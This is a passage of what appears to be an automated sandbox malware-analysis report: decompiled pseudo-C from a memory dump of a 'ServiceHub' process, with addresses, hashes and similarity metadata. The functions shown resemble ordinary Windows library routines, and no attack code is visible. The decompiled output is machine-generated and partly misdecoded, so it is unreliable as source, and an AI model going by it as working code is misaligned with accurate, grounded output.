						_v36 = _t88;
						_v32 = _t108;
						if(E011C7D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							E01278F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_t48 = _t112 + 0x10; // 0x778df98b
						_push( *_t48);
						_t60 = E011EAF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_t77 =  *0x1298628; // 0x0
								_v68 = _t77;
								_t78 =  *0x129862c; // 0x0
								_v64 = _t78;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_t83 =  *0x1298628; // 0x0
							_t116 =  *0x129862c; // 0x0
							_v76 = _t116;
							_t117 = _v68;
						} while (_t117 != _t83 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}
















































                                          0x011cb94c
                                          0x011cb956
                                          0x011cb95c
                                          0x011cb95e
                                          0x011cb964
                                          0x011cb969
                                          0x011cb96d
                                          0x011cb96d
                                          0x011cb970
                                          0x011cb974
                                          0x011cb97a
                                          0x011cbadf
                                          0x011cbadf
                                          0x011cbae2
                                          0x011cbae4
                                          0x011cbae6
                                          0x011cbaf0
                                          0x01212cb8
                                          0x011cbaf6
                                          0x011cbaf6
                                          0x011cbaf6
                                          0x011cbafd
                                          0x011cbb1f
                                          0x011cbb1f
                                          0x011cbaff
                                          0x011cbb00
                                          0x011cbb00
                                          0x011cbb03
                                          0x011cbb03
                                          0x011cbacb
                                          0x011cbacf
                                          0x011cbad0
                                          0x011cbad1
                                          0x011cbadc
                                          0x011cbadc
                                          0x011cb980
                                          0x011cb980
                                          0x011cb988
                                          0x011cb98b
                                          0x011cb98d
                                          0x011cb990
                                          0x011cb993
                                          0x011cb999
                                          0x011cb99b
                                          0x011cb9a1
                                          0x011cb9a5
                                          0x011cb9aa
                                          0x011cb9b0
                                          0x011cb9bb
                                          0x011cb9c0
                                          0x011cb9c3
                                          0x011cb9ca
                                          0x011cb9cc
                                          0x011cb9cf
                                          0x011cb9d3
                                          0x011cb9d7
                                          0x011cba94
                                          0x011cba94
                                          0x011cba98
                                          0x011cbaa3
                                          0x01212ccb
                                          0x011cbaa9
                                          0x011cbaa9
                                          0x011cbaa9
                                          0x011cbab1
                                          0x01212cd5
                                          0x01212cdd
                                          0x01212cdd
                                          0x011cbabb
                                          0x011cbabc
                                          0x011cbac2
                                          0x011cbac3
                                          0x011cbac3
                                          0x011cbac6
                                          0x00000000
                                          0x011cb9dd
                                          0x011cb9dd
                                          0x011cb9e7
                                          0x011cb9e7
                                          0x011cb9ec
                                          0x011cb9ec
                                          0x011cb9f1
                                          0x011cb9f5
                                          0x011cb9fa
                                          0x011cba00
                                          0x011cba0c
                                          0x011cba10
                                          0x011cba10
                                          0x011cba12
                                          0x011cba18
                                          0x00000000
                                          0x00000000
                                          0x011cbb26
                                          0x011cbb26
                                          0x011cba1e
                                          0x011cba1e
                                          0x011cba23
                                          0x011cba25
                                          0x011cba2c
                                          0x011cba30
                                          0x011cba35
                                          0x011cba35
                                          0x011cba41
                                          0x011cba46
                                          0x011cba4c
                                          0x011cba50
                                          0x011cba54
                                          0x011cba6a
                                          0x011cba6e
                                          0x011cba70
                                          0x011cba74
                                          0x011cba78
                                          0x011cba7a
                                          0x011cba7c
                                          0x011cba8e
                                          0x011cba90
                                          0x011cba92
                                          0x011cbb14
                                          0x011cbb14
                                          0x011cbb16
                                          0x011cbb16
                                          0x00000000
                                          0x011cba7c
                                          0x011cbb0a
                                          0x011cbb0d
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011cbb0f

                                          APIs
                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 011CB9A5
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                          • String ID:
                                          • API String ID: 885266447-0
                                          • Opcode ID: fe4a58c98a7831247b5b16bbf141d96767ac9bee1c159793d3fe64252804532e
                                          • Instruction ID: 335d5270ebfb6b33266c64f3afe75cf50bd7fc2c56e1f1cde6ee53325e2b4449
                                          • Opcode Fuzzy Hash: fe4a58c98a7831247b5b16bbf141d96767ac9bee1c159793d3fe64252804532e
                                          • Instruction Fuzzy Hash: C55159B1A08341CFC728CF6DC08192ABBE5FBA8A84F15496EE685C7355D731E840CB96
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011AB171 Relevance: 1.7, APIs: 1, Instructions: 166COMMONLIBRARYCODE
                                          Download Yara Rule
                                          C-Code - Quality: 78%
                                          			E011AB171(signed short __ebx, intOrPtr __ecx, intOrPtr* __edx, intOrPtr* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				void* _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				intOrPtr* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				intOrPtr* _t110;
				void* _t111;
				void* _t114;
				intOrPtr* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0x127f7a8);
				E011FD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *((intOrPtr*)(_t114 - 0x84)) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E011FD130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E011ED000(0x80);
						 *((intOrPtr*)(_t114 - 0x18)) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *((intOrPtr*)(_t114 - 0x84));
						_t110 =  *((intOrPtr*)(_t114 - 0x84));
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						E011EF3E0(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t111 + _t108;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *((intOrPtr*)(_t114 - 0x5c)) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											L011FDEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E011EB280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E011EB7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E011EE2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E011EA890() != 0) {
					goto L6;
				}
				goto L3;
			}






















                                          0x011ab171
                                          0x011ab171
                                          0x011ab171
                                          0x011ab171
                                          0x011ab171
                                          0x011ab176
                                          0x011ab17b
                                          0x011ab180
                                          0x011ab186
                                          0x011ab18f
                                          0x011ab198
                                          0x011ab1a4
                                          0x011ab1aa
                                          0x01204802
                                          0x01204802
                                          0x01204805
                                          0x0120480c
                                          0x0120480e
                                          0x011ab1d1
                                          0x011ab1d3
                                          0x011ab1de
                                          0x011ab1de
                                          0x01204817
                                          0x0120481e
                                          0x01204820
                                          0x01204822
                                          0x01204822
                                          0x01204824
                                          0x01204824
                                          0x0120482a
                                          0x00000000
                                          0x00000000
                                          0x01204835
                                          0x0120483a
                                          0x0120483d
                                          0x0120483f
                                          0x01204842
                                          0x01204842
                                          0x01204842
                                          0x01204846
                                          0x0120484c
                                          0x0120484e
                                          0x01204851
                                          0x01204851
                                          0x01204853
                                          0x01204854
                                          0x01204854
                                          0x01204858
                                          0x0120485a
                                          0x0120485a
                                          0x0120485d
                                          0x0120485f
                                          0x01204861
                                          0x01204861
                                          0x01204866
                                          0x0120486b
                                          0x0120486e
                                          0x01204871
                                          0x01204876
                                          0x01204876
                                          0x01204878
                                          0x0120487b
                                          0x01204884
                                          0x01204884
                                          0x00000000
                                          0x0120487d
                                          0x0120487d
                                          0x01204882
                                          0x01204889
                                          0x01204889
                                          0x0120488f
                                          0x01204891
                                          0x012048e0
                                          0x012048e2
                                          0x012048e4
                                          0x012048e4
                                          0x012048e7
                                          0x012048e7
                                          0x012048ed
                                          0x012048f4
                                          0x012048f6
                                          0x01204951
                                          0x01204951
                                          0x01204953
                                          0x01204953
                                          0x01204956
                                          0x01204956
                                          0x01204958
                                          0x01204959
                                          0x01204959
                                          0x0120495d
                                          0x0120495d
                                          0x0120495f
                                          0x0120495f
                                          0x01204965
                                          0x01204969
                                          0x012049ba
                                          0x012049ba
                                          0x012049c1
                                          0x012049c5
                                          0x012049cc
                                          0x012049d4
                                          0x012049d7
                                          0x012049da
                                          0x012049e4
                                          0x012049e5
                                          0x012049f3
                                          0x01204a02
                                          0x00000000
                                          0x01204a02
                                          0x01204972
                                          0x01204974
                                          0x00000000
                                          0x00000000
                                          0x01204976
                                          0x01204979
                                          0x01204982
                                          0x01204983
                                          0x01204984
                                          0x0120498b
                                          0x0120498d
                                          0x01204991
                                          0x01204993
                                          0x01204999
                                          0x0120499d
                                          0x012049a2
                                          0x012049a2
                                          0x012049a2
                                          0x01204999
                                          0x012049ac
                                          0x00000000
                                          0x012049b3
                                          0x012048f8
                                          0x012048fe
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x012048fe
                                          0x01204895
                                          0x0120489c
                                          0x012048ad
                                          0x012048b2
                                          0x012048b5
                                          0x012048b7
                                          0x012048ba
                                          0x012048bc
                                          0x012048c6
                                          0x012048c6
                                          0x012048cb
                                          0x012048d1
                                          0x012048d4
                                          0x012048d8
                                          0x012048d8
                                          0x00000000
                                          0x012048d8
                                          0x012048be
                                          0x012048c0
                                          0x00000000
                                          0x00000000
                                          0x012048c2
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x012048c4
                                          0x00000000
                                          0x01204882
                                          0x0120487b
                                          0x01204904
                                          0x01204906
                                          0x00000000
                                          0x00000000
                                          0x01204908
                                          0x0120490e
                                          0x00000000
                                          0x00000000
                                          0x01204910
                                          0x01204917
                                          0x01204917
                                          0x00000000
                                          0x01204917
                                          0x011ab1ba
                                          0x012047f9
                                          0x012047fc
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x012047fc
                                          0x011ab1c0
                                          0x011ab1c0
                                          0x011ab1c3
                                          0x011ab1cb
                                          0x00000000
                                          0x00000000
                                          0x00000000

                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: _vswprintf_s
                                          • String ID:
                                          • API String ID: 677850445-0
                                          • Opcode ID: 081b6d71b80466d4fd98b7b6d99289950dd9111eb4d4245e763c7c827c896d1c
                                          • Instruction ID: d04fd08e193537343b633e3a5589d002c657e0c7b70df81081f0c2ed0e22ff93
                                          • Opcode Fuzzy Hash: 081b6d71b80466d4fd98b7b6d99289950dd9111eb4d4245e763c7c827c896d1c
                                          • Instruction Fuzzy Hash: 9251F771D2429A8EDF36DF68C8457BDBBB0BF00314F1082ADDA59972C2D7704A41CB91
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011D2581 Relevance: 1.6, Strings: 1, Instructions: 329COMMONCrypto
                                          Download Yara Rule
                                          C-Code - Quality: 82%
                                          			E011D2581(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, signed int _a4, char _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				signed int _v16;
				unsigned int _v24;
				void* _v28;
				signed int _v32;
				unsigned int _v36;
				signed int _v37;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _t230;
				signed int _t234;
				signed int _t235;
				void* _t236;
				signed int _t241;
				signed int _t243;
				intOrPtr _t245;
				signed int _t248;
				signed int _t255;
				signed int _t258;
				signed int _t266;
				signed int _t272;
				signed int _t274;
				void* _t276;
				void* _t277;
				signed int _t278;
				unsigned int _t281;
				signed int _t285;
				signed int* _t286;
				signed int _t287;
				signed int _t291;
				intOrPtr _t303;
				signed int _t312;
				signed int _t314;
				signed int _t315;
				signed int _t319;
				signed int _t320;
				signed int _t323;
				signed int _t325;
				signed int _t327;
				void* _t328;
				void* _t331;

				_t325 = _t327;
				_t328 = _t327 - 0x4c;
				_v8 =  *0x129d360 ^ _t325;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t319 = 0x129b2e8;
				_v56 = _a4;
				_v48 = __edx;
				_v60 = __ecx;
				_t281 = 0;
				_v80 = 0;
				asm("movsd");
				_v64 = 0;
				_v76 = 0;
				_v72 = 0;
				asm("movsd");
				_v44 = 0;
				_v52 = 0;
				_v68 = 0;
				asm("movsd");
				_v32 = 0;
				_v36 = 0;
				asm("movsd");
				_v16 = 0;
				_t272 = 0x48;
				_t301 = 0 | (_v24 >> 0x0000001c & 0x00000003) == 0x00000001;
				_t312 = 0;
				_v37 = _t301;
				if(_v48 <= 0) {
					L16:
					_t45 = _t272 - 0x48; // 0x0
					__eflags = _t45 - 0xfffe;
					if(_t45 > 0xfffe) {
						_t320 = 0xc0000106;
						goto L32;
					} else {
						_t319 = L011C4620(_t281,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t272);
						_v52 = _t319;
						__eflags = _t319;
						if(_t319 == 0) {
							_t320 = 0xc0000017;
							goto L32;
						} else {
							 *(_t319 + 0x44) =  *(_t319 + 0x44) & 0x00000000;
							_t50 = _t319 + 0x48; // 0x48
							_t314 = _t50;
							_t301 = _v32;
							 *(_t319 + 0x3c) = _t272;
							_t274 = 0;
							 *((short*)(_t319 + 0x30)) = _v48;
							__eflags = _t301;
							if(_t301 != 0) {
								 *(_t319 + 0x18) = _t314;
								__eflags = _t301 - 0x1298478;
								 *_t319 = ((0 | _t301 == 0x01298478) - 0x00000001 & 0xfffffffb) + 7;
								E011EF3E0(_t314,  *((intOrPtr*)(_t301 + 4)),  *_t301 & 0x0000ffff);
								_t301 = _v32;
								_t328 = _t328 + 0xc;
								_t274 = 1;
								__eflags = _a8;
								_t314 = _t314 + (( *_t301 & 0x0000ffff) >> 1) * 2;
								if(_a8 != 0) {
									_t266 = E012339F2(_t314);
									_t301 = _v32;
									_t314 = _t266;
								}
							}
							_t285 = 0;
							_v16 = 0;
							__eflags = _v48;
							if(_v48 <= 0) {
								L31:
								_t320 = _v68;
								__eflags = 0;
								 *((short*)(_t314 - 2)) = 0;
								goto L32;
							} else {
								_t272 = _t319 + _t274 * 4;
								_v56 = _t272;
								do {
									__eflags = _t301;
									if(_t301 != 0) {
										_t230 =  *(_v60 + _t285 * 4);
										__eflags = _t230;
										if(_t230 == 0) {
											goto L30;
										} else {
											__eflags = _t230 == 5;
											if(_t230 == 5) {
												goto L30;
											} else {
												goto L22;
											}
										}
									} else {
										L22:
										 *_t272 =  *(_v60 + _t285 * 4);
										 *(_t272 + 0x18) = _t314;
										_t234 =  *(_v60 + _t285 * 4);
										__eflags = _t234 - 8;
										if(_t234 > 8) {
											goto L56;
										} else {
											switch( *((intOrPtr*)(_t234 * 4 +  &M011D2959))) {
												case 0:
													__ax =  *0x1298488;
													__eflags = __ax;
													if(__ax == 0) {
														goto L29;
													} else {
														__ax & 0x0000ffff = E011EF3E0(__edi,  *0x129848c, __ax & 0x0000ffff);
														__eax =  *0x1298488 & 0x0000ffff;
														goto L26;
													}
													goto L108;
												case 1:
													L45:
													E011EF3E0(_t314, _v80, _v64);
													_t261 = _v64;
													goto L26;
												case 2:
													 *0x1298480 & 0x0000ffff = E011EF3E0(__edi,  *0x1298484,  *0x1298480 & 0x0000ffff);
													__eax =  *0x1298480 & 0x0000ffff;
													__eax = ( *0x1298480 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													goto L28;
												case 3:
													__eax = _v44;
													__eflags = __eax;
													if(__eax == 0) {
														goto L29;
													} else {
														__esi = __eax + __eax;
														__eax = E011EF3E0(__edi, _v72, __esi);
														__edi = __edi + __esi;
														__esi = _v52;
														goto L27;
													}
													goto L108;
												case 4:
													_push(0x2e);
													_pop(__eax);
													 *(__esi + 0x44) = __edi;
													 *__edi = __ax;
													__edi = __edi + 4;
													_push(0x3b);
													_pop(__eax);
													 *(__edi - 2) = __ax;
													goto L29;
												case 5:
													__eflags = _v36;
													if(_v36 == 0) {
														goto L45;
													} else {
														E011EF3E0(_t314, _v76, _v36);
														_t261 = _v36;
													}
													L26:
													_t328 = _t328 + 0xc;
													_t314 = _t314 + (_t261 >> 1) * 2 + 2;
													__eflags = _t314;
													L27:
													_push(0x3b);
													_pop(_t263);
													 *((short*)(_t314 - 2)) = _t263;
													goto L28;
												case 6:
													__ebx =  *0x129575c;
													__eflags = __ebx - 0x129575c;
													if(__ebx != 0x129575c) {
														_push(0x3b);
														_pop(__esi);
														do {
															 *(__ebx + 8) & 0x0000ffff = __ebx + 0xa;
															E011EF3E0(__edi, __ebx + 0xa,  *(__ebx + 8) & 0x0000ffff) =  *(__ebx + 8) & 0x0000ffff;
															__eax = ( *(__ebx + 8) & 0x0000ffff) >> 1;
															__edi = __edi + __eax * 2;
															__edi = __edi + 2;
															 *(__edi - 2) = __si;
															__ebx =  *__ebx;
															__eflags = __ebx - 0x129575c;
														} while (__ebx != 0x129575c);
														__esi = _v52;
														__ecx = _v16;
														__edx = _v32;
													}
													__ebx = _v56;
													goto L29;
												case 7:
													 *0x1298478 & 0x0000ffff = E011EF3E0(__edi,  *0x129847c,  *0x1298478 & 0x0000ffff);
													__eax =  *0x1298478 & 0x0000ffff;
													__eax = ( *0x1298478 & 0x0000ffff) >> 1;
													__eflags = _a8;
													__edi = __edi + __eax * 2;
													if(_a8 != 0) {
														__ecx = __edi;
														__eax = E012339F2(__ecx);
														__edi = __eax;
													}
													goto L28;
												case 8:
													__eax = 0;
													 *(__edi - 2) = __ax;
													 *0x1296e58 & 0x0000ffff = E011EF3E0(__edi,  *0x1296e5c,  *0x1296e58 & 0x0000ffff);
													 *(__esi + 0x38) = __edi;
													__eax =  *0x1296e58 & 0x0000ffff;
													__eax = ( *0x1296e58 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													__edi = __edi + 2;
													L28:
													_t285 = _v16;
													_t301 = _v32;
													L29:
													_t272 = _t272 + 4;
													__eflags = _t272;
													_v56 = _t272;
													goto L30;
											}
										}
									}
									goto L108;
									L30:
									_t285 = _t285 + 1;
									_v16 = _t285;
									__eflags = _t285 - _v48;
								} while (_t285 < _v48);
								goto L31;
							}
						}
					}
				} else {
					while(1) {
						L1:
						_t234 =  *(_v60 + _t312 * 4);
						if(_t234 > 8) {
							break;
						}
						switch( *((intOrPtr*)(_t234 * 4 +  &M011D2935))) {
							case 0:
								__ax =  *0x1298488;
								__eflags = __ax;
								if(__ax != 0) {
									__eax = __ax & 0x0000ffff;
									__ebx = __ebx + 2;
									__eflags = __ebx;
									goto L53;
								}
								goto L14;
							case 1:
								L44:
								_t301 =  &_v64;
								_v80 = E011D2E3E(0,  &_v64);
								_t272 = _t272 + _v64 + 2;
								goto L13;
							case 2:
								__eax =  *0x1298480 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0x1298480;
									goto L80;
								}
								goto L14;
							case 3:
								__eax = E011BEEF0(0x12979a0);
								__eax =  &_v44;
								_push(__eax);
								_push(0);
								_push(0);
								_push(4);
								_push(L"PATH");
								_push(0);
								L57();
								__esi = __eax;
								_v68 = __esi;
								__eflags = __esi - 0xc0000023;
								if(__esi != 0xc0000023) {
									L10:
									__eax = E011BEB70(__ecx, 0x12979a0);
									__eflags = __esi - 0xc0000100;
									if(__esi == 0xc0000100) {
										_v44 = _v44 & 0x00000000;
										__eax = 0;
										_v68 = 0;
										goto L13;
									} else {
										__eflags = __esi;
										if(__esi < 0) {
											L32:
											_t208 = _v72;
											__eflags = _t208;
											if(_t208 != 0) {
												L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t208);
											}
											_t209 = _v52;
											__eflags = _t209;
											if(_t209 != 0) {
												__eflags = _t320;
												if(_t320 < 0) {
													L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t209);
													_t209 = 0;
												}
											}
											goto L36;
										} else {
											__eax = _v44;
											__ebx = __ebx + __eax * 2;
											__ebx = __ebx + 2;
											__eflags = __ebx;
											L13:
											_t281 = _v36;
											goto L14;
										}
									}
								} else {
									__eax = _v44;
									__ecx =  *0x1297b9c; // 0x0
									_v44 + _v44 =  *[fs:0x30];
									__ecx = __ecx + 0x180000;
									__eax = L011C4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), __ecx,  *[fs:0x30]);
									_v72 = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										__eax = E011BEB70(__ecx, 0x12979a0);
										__eax = _v52;
										L36:
										_pop(_t313);
										_pop(_t321);
										__eflags = _v8 ^ _t325;
										_pop(_t273);
										return E011EB640(_t209, _t273, _v8 ^ _t325, _t301, _t313, _t321);
									} else {
										__ecx =  &_v44;
										_push(__ecx);
										_push(_v44);
										_push(__eax);
										_push(4);
										_push(L"PATH");
										_push(0);
										L57();
										__esi = __eax;
										_v68 = __eax;
										goto L10;
									}
								}
								goto L108;
							case 4:
								__ebx = __ebx + 4;
								goto L14;
							case 5:
								_t268 = _v56;
								if(_v56 != 0) {
									_t301 =  &_v36;
									_t270 = E011D2E3E(_t268,  &_v36);
									_t281 = _v36;
									_v76 = _t270;
								}
								if(_t281 == 0) {
									goto L44;
								} else {
									_t272 = _t272 + 2 + _t281;
								}
								goto L14;
							case 6:
								__eax =  *0x1295764 & 0x0000ffff;
								goto L53;
							case 7:
								__eax =  *0x1298478 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = _a8;
								if(_a8 != 0) {
									__ebx = __ebx + 0x16;
									__ebx = __ebx + __eax;
								}
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0x1298478;
									L80:
									_v32 = __eax;
								}
								goto L14;
							case 8:
								__eax =  *0x1296e58 & 0x0000ffff;
								__eax = ( *0x1296e58 & 0x0000ffff) + 2;
								L53:
								__ebx = __ebx + __eax;
								L14:
								_t312 = _t312 + 1;
								if(_t312 >= _v48) {
									goto L16;
								} else {
									_t301 = _v37;
									goto L1;
								}
								goto L108;
						}
					}
					L56:
					_t286 = 0x25;
					asm("int 0x29");
					asm("out 0x28, al");
					asm("sbb eax, 0x1d286601");
					_t235 = _t234 + _t328;
					asm("daa");
					asm("sbb eax, 0x1d262e01");
					 *((intOrPtr*)(_t319 + 0x28)) =  *((intOrPtr*)(_t319 + 0x28)) + _t235;
					asm("sbb eax, 0x1d260501");
					 *_t314 =  *_t314 + _t272;
					_pop(_t276);
					 *_t286 =  *_t286 & _t235;
					_t236 = _t328;
					 *0x215b3501 =  *0x215b3501 - _t276;
					 *_t301 =  *_t301 + _t236;
					 *0x1d288001 =  *0x1d288001 - _t276;
					_t322 = _t319 + _t319;
					asm("daa");
					asm("sbb eax, 0x1d281e01");
					 *((intOrPtr*)(_t319 + _t319 + 0x28)) =  *((intOrPtr*)(_t319 + _t319 + 0x28)) + _t286;
					asm("sbb eax, 0x1d275d01");
					_pop(_t277);
					 *_t286 =  *_t286 & _t236 + _t276;
					asm("sbb eax, 0x215c3401");
					_t331 = _t286 + _t235;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(0x20);
					_push(0x127ff00);
					E011FD08C(_t277, _t314, _t322);
					_v44 =  *[fs:0x18];
					_t315 = 0;
					 *_a24 = 0;
					_t278 = _a12;
					__eflags = _t278;
